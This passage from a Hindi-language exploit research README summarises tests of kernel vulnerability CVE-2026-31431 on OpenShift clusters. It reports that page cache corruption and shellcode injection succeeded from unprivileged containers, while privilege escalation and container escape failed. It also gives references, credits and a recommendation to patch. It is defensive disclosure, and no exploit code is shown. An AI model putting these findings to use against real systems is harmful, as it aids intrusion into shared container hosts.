- CVE-2026-31431 कर्नेल भेद्यता शोषण योग्य है
- पेज कैश को विशेषाधिकार-रहित कंटेनरों (शून्य क्षमताओं) से दूषित किया जा सकता है
- प्रतिबंधित-v2 SCC के बावजूद AF_ALG इंटरफ़ेस सुलभ है
- शेलकोड इंजेक्शन सफल होता है (hexdump में दिखाई देता है)

❌ **काम नहीं किया:**
- विशेषाधिकार वृद्धि (UID अपरिवर्तित)
- दूषित पेज कैश से कोड निष्पादन
- प्रतिबंधित-v2 पॉड्स से कंटेनर से बचाव
- hostPath के बिना होस्ट फाइलसिस्टम पहुंच

🛡️ **गहराई में रक्षा प्रभावी:**
- SCC + यूज़र नेमस्पेस + क्षमता हटाने ने शोषण को रोका
- कई सुरक्षा परतों ने विस्फोट त्रिज्या सीमित की
- कर्नेल भेद्यता के बावजूद कंटेनर अलगाव बना रहा

## सुरक्षा सूचना

यह रिपॉजिटरी निम्न के लिए एक कर्नेल भेद्यता का दस्तावेजीकरण करती है:
- ✅ अधिकृत सुरक्षा परीक्षण और अनुसंधान
- ✅ भेद्यता सत्यापन और विश्लेषण
- ✅ सुरक्षा जागरूकता और शिक्षा
- ✅ रक्षात्मक उपाय विकास

**निष्कर्ष आधारित:**
- अधिकृत सिस्टम पर नियंत्रित परीक्षण
- कई स्वतंत्र क्लस्टर वातावरण
- व्यापक सत्यापन और पुनरुत्पादकता परीक्षण

**स्पष्ट प्राधिकरण के बिना सिस्टम पर उपयोग न करें।**

## संदर्भ

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **प्रकटीकरण:** https://copy.fail
- **कर्नेल पैच:** Linux कर्नेल कमिट (1 अप्रैल, 2026)
- **Red Hat सलाह:** https://access.redhat.com/security/cve/cve-2026-31431

## श्रेय

- **CVE खोज:** Taeyang Lee (Theori)
- **मूल विश्लेषण:** Xint Code अनुसंधान टीम
- **एक्सप्लॉइट कार्यान्वयन:** Sean Rickerd
- **व्यापक परीक्षण और सत्यापन:** Sean Rickerd
  - 2 स्वतंत्र OpenShift 4.20.16 क्लस्टर
  - RHEL CoreOS 9.6 कर्नेल 5.14.0-570.96.1
  - वास्तविक बनाम दावा किए गए व्यवहार का दस्तावेजीकरण
  - प्रतिबंधित-v2 SCC प्रभावशीलता सत्यापित

## लाइसेंस

केवल अधिकृत सुरक्षा परीक्षण और अनुसंधान के लिए। अपने जोखिम पर उपयोग करें।

---

**रिपॉजिटरी स्थिति:** वास्तविक-विश्व परीक्षण परिणामों के साथ अद्यतन (1 मई, 2026)  
**परीक्षण:** 2 स्वतंत्र OpenShift क्लस्टरों पर पूर्ण  
**मुख्य निष्कर्ष:** पेज कैश भ्रष्टाचार की पुष्टि हुई, विशेषाधिकार वृद्धि प्राप्त नहीं हुई  
**अनुशंसा:** सीमित व्यावहारिक शोषण के बावजूद कर्नेल पैच करें
टूल डाउनलोड करें